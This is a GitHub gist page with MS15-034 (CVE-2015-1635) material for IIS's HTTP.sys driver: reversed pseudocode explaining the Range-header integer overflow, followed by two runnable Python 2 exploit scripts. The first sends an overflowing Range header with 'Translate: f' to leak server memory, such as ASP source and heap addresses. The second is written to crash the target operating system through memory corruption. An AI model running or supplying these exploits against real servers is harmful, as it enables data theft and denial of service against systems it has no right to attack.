Skip to content

Instantly share code, notes, and snippets.

@charlyborwn
Forked from worawit/http_sys_pseudo.c
Created May 23, 2017 07:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save charlyborwn/ccac63f44482abe26f30a2e5fd7995c7 to your computer and use it in GitHub Desktop.
Save charlyborwn/ccac63f44482abe26f30a2e5fd7995c7 to your computer and use it in GitHub Desktop.
MS15-034 (CVE-2015-1635) PoCs
/*
Pseudo code in HTTP.sys to understand flow related to MS15-034
All pseudo code are reversed from vulnerable HTTP.sys on Windows 7 SP1 x86
For anyone want to know what function are patched.
Just open patched version and find all functions reference to RtlULongLongAdd().
*/
/*****************************
* handling http request
*****************************/
// the received request buffers are processed in UlpParseNextRequest().
NTSTATUS UlpParseNextRequest()
{
while (!doneParseHttpRequest) {
// fetch next request buffer
// ...
// parse request text to request struct
UlParseHttp();
// Note: UlContentRangeHeaderHandler() convert Range header string to
// array of HTTP_BYTE_RANGE struct.
// From RFC Range header value is inclusive range, so range length
// must be end-start+1.
// ...
}
UlpDeliverHttpRequest();
}
NTSTATUS UlpDeliverHttpRequest()
{
if (UlCheckCachePreconditions(req) && doSendCachedResponse) {
UlSendCachedResponse();
}
// ...
if (!doSendCachedResponse || sendCachedResponseFailed) {
UlDeliverRequestToProcess(); // dispatch HTTP_REQUEST to w3wp.exe process
}
}
char UlCheckCachePreconditions(req)
{
req->flags |= 2u;
if (UlpQueryTranslateHeader(req)) {
// has 'Translate' header with value 'f' or 'F'
req->flags &= 0xFFFFFFFD;
}
else if (req->hasHdrFileds[HttpHeaderAuthorization]) {
req->flags &= 0xFFFFFFFD;
// ...
}
else if (!g_UriCacheConfig.uriEnableCache || xxx) {
req->flags &= 0xFFFFFFFD;
// ...
}
return (req->flags >> 1) & 1;
}
/**************************************************************/
/******************************************
* handling http response from w3wp.exe
******************************************/
// UlSendHttpResponseIoctl() in HTTP.sys is used to handle HTTP_RESPONSE from w3wp.exe process
NTSTATUS UlSendHttpResponseIoctl(PIRP Irp, PIO_STACK_LOCATION StackLocation)
{
doCacheResponse = 0;
if (HTTP_RESPONSE->pCachePolicy.Policy) {
doCacheResponse = (req->flags >> 1) & 1; // this bit is (un)set in UlCheckCachePreconditions()
}
// copy and convert HTTP_RESPONSE to internel HTTP.sys response struct
UlCaptureHttpResponse(&resp);
if (!doCacheResponse || (UlCacheAndSendResponse(req, resp, ..., &cacheSuccess) >= 0 && !cacheSuccess)) {
// UlSendHttpResponse() below is safe path for leaking info in user space
UlSendHttpResponse(req, resp, ...);
}
}
// The UlpBuildSliceRangeMdl() function is called when sending data from cache.
// Normally, UlSendCachedResponse() and UlCacheAndSendResponse() functions use
// this function.
// Note: this path for leaking info is not safe (might crash target OS)
void UlpBuildSliceRangeMdl(ULONGLONG sliceStart, void *out, PMDL sliceMdl, HTTP_BYTE_RANGE *range)
{
PMDL outMdl;
DWORD sliceSize;
DWORD sliceOutSize;
DWORD sliceOffset;
// find slice offset
sliceOffset = 0;
if (range->StartingOffset > sliceStart)
sliceOffset = range->StartingOffset - sliceStart;
// find this slice size
sliceSize = sliceMdl->ByteCount;
rangeSize = range->Length;
if (sliceStart + sliceSize > range->StartingOffset + range->Length) {
// when overflowed, range->StartingOffset + range->Length == 0
// so sliceSize = -sliceStart;
// normally, sliceStart is 0
sliceSize = range->StartingOffset + range->Length - sliceStart;
}
// compute the used length
sliceOutSize = sliceSize - sliceOffset; // when overflowed, sliceOutSize is very large
// compute the start address
sliceOutAddr = sliceMdl->StartVa + sliceMdl->ByteOffset + sliceOffset;
// allocate MDL
outMdl = IoAllocateMdl(sliceOutAddr, sliceOutSize, 0, 0, 0);
// ... assign outMdl to out ...
if (outMdl) {
// when overflowed, sliceOutSize normally is 0xff??????
// - number of PFN is 0xff?????? >> 12 = 0x003f???? ~ 1M
// below IoBuildPartialMdl might crash a OS because the memory address
// after sliceMdl is invalid.
// even if IoBuildPartialMdl() returns successfully, PFN array of outMdl
// might contain invalid PFN.
// Note: outMdl flag is MDL_SOURCE_IS_NONPAGED_POOL | MDL_PARTIAL
IoBuildPartialMdl(sliceMdl, outMdl, sliceOutAddr, sliceOutSize);
}
}
#!/usr/bin/python2
"""
MS15-034 (CVE-2015-1635) proof of concept to do information leak
This PoC is safe to run against vulnerable target. No crash the IIS server or OS.
From the pseudocode, if the request header "Translate: f" is presented, HTTP.sys
will call UlSendHttpResponse() for sending response. This function does not make
IIS or OS crashed even Range length is invalid.
With "Translate: f" header, the HTTP.sys will not cache response, so HTTP.sys uses
data from user space memory. The result is HTTP.sys will read and send data from
user space memory until accessing invalid memory address. But sending data use buffer
about 64KB. If accessing invalid memory address is found before data buffer is full,
all buffered data is discard. So there is a chance to get nothing or missing some
trail data in memory chunk.
Here is what you can get from this PoC
- leak ASP source code
- determine the target architecture (32 bit or 64 bit)
- leak some valid heap address in remote w3wp.exe
- other static files (useless)
Other code paths for leaking data are in UlSendCachedResponse() and UlCacheAndSendResponse().
These 2 functions use UlpBuildSliceRangeMdl() for building chunk. These path
might crash target OS as explained in psuedocode comment.
Note: To exploit these paths read (I'm lazy to explain)
- http://blog.trendmicro.com/trendlabs-security-intelligence/iis-at-risk-an-in-depth-look-into-cve-2015-1635/
- http://www.securitysift.com/an-analysis-of-ms15-034/
A 'If-Range:' header might be needed (I cannot remember) if you want code to
call UlSendCachedResponse().
"""
import sys
import urllib2
import socket
if len(sys.argv) < 2:
print('{} url [contentLength]'.format(sys.argv[0]))
sys.exit(1)
url = sys.argv[1]
if len(sys.argv) > 2:
contentLength = int(sys.argv[2])
else:
req = urllib2.Request(url)
req.get_method = lambda : 'HEAD'
resp = urllib2.urlopen(req)
contentLength = int(resp.info()['Content-Length'])
resp.close()
print('contentLength: {:d}'.format(contentLength))
def dump_data(offset, tail_length):
req = urllib2.Request(url)
req.add_header('Range', 'bytes={:d}-18446744073709551615'.format(offset))
req.add_header('Translate', 'f')
resp = None
data = ""
try:
resp = urllib2.urlopen(req)
if tail_length > 0:
resp.read(tail_length)
while True:
data += resp.read(1)
resp.close()
except socket.error as e:
if resp is not None:
resp.close()
return data
tail_length = 60000
offset = contentLength - tail_length
if offset < 2:
offset = 2
tail_length = contentLength - 2
data = dump_data(offset, tail_length)
if len(data) > 0:
print(data)
#!/usr/bin/python2
"""
MS15-034 (CVE-2015-1635) proof of concept to corrupt memory
Note: I have no idea how to turn this memory corruption into code execution.
There might be other way to trigger memory corruption but I do not find them.
This PoC causes the target to crash in UlpCreateCacheRangeSliceTracker().
Normally, w3wp.exe pass response chunk as file handle or buffer to HTTP.sys.
g_UriCacheConfig.uriMaxUriBytes in HTTP.sys is maximum size for response body
to be cached in HTTP.sys. The default value is 256KB.
When a full content size of request file is more than 256KB and request range
is less than 256KB, HTTP.sys slice the content to be cache. Each maximum slice
size is g_UriCacheConfig.uriMaxUriBytes (default value is 64KB).
Here are condition for HTTP.sys to build range cache with UlpCreateCacheRangeSliceTracker():
- UlAdjustRangesToContentSize() returned value is <= 256KB
- UlpGetRangeSliceCount() returned value is <= 256KB/64KB = 4
- rangeStart must be less than contentSize
When a full content size of request file is more than 256KB, cache is sliced in to 64KB pieces
Below is a partial pseudocode of UlpCreateCacheRangeSliceTracker()
DOWRD i = 0;
DWORD sliceNo = rangeStart / 65536;
DWORD sliceEnd = (rangeEnd - 1) / 65536;
while (sliceNo <= sliceEnd)
useSlice[i++] = sliceNo++; // Note: useSlice array of DWORD allocated on stack
With the corrupted range, sliceEnd is always 0xffffffff. In this PoC I use
rangeStart 65538, which is sliceNo 1, so the above loop will start from 1.
If you want sliceNo to start with 0x00xxxxxx, you need to find a file size
2^(24+16) = 2^40 = 1TB on target.
"""
import socket
import sys
import urllib2
if len(sys.argv) < 2:
print('{} url [contentLength]'.format(sys.argv[0]))
sys.exit(1)
url = sys.argv[1]
if len(sys.argv) > 2:
contentLength = int(sys.argv[2])
else:
req = urllib2.Request(url)
req.get_method = lambda : 'HEAD'
resp = urllib2.urlopen(req)
contentLength = int(resp.info()['Content-Length'])
resp.close()
print('contentLength: {:d}'.format(contentLength))
if contentLength <= (256*1024):
print('This PoC requires request target size more than 256KB')
sys.exit(0)
req = urllib2.Request(url)
req.add_header('Range', 'bytes=65538-18446744073709551615,65540-131078,3-4')
try:
resp = urllib2.urlopen(req)
# the remote target should crash now
resp.close()
except:
pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment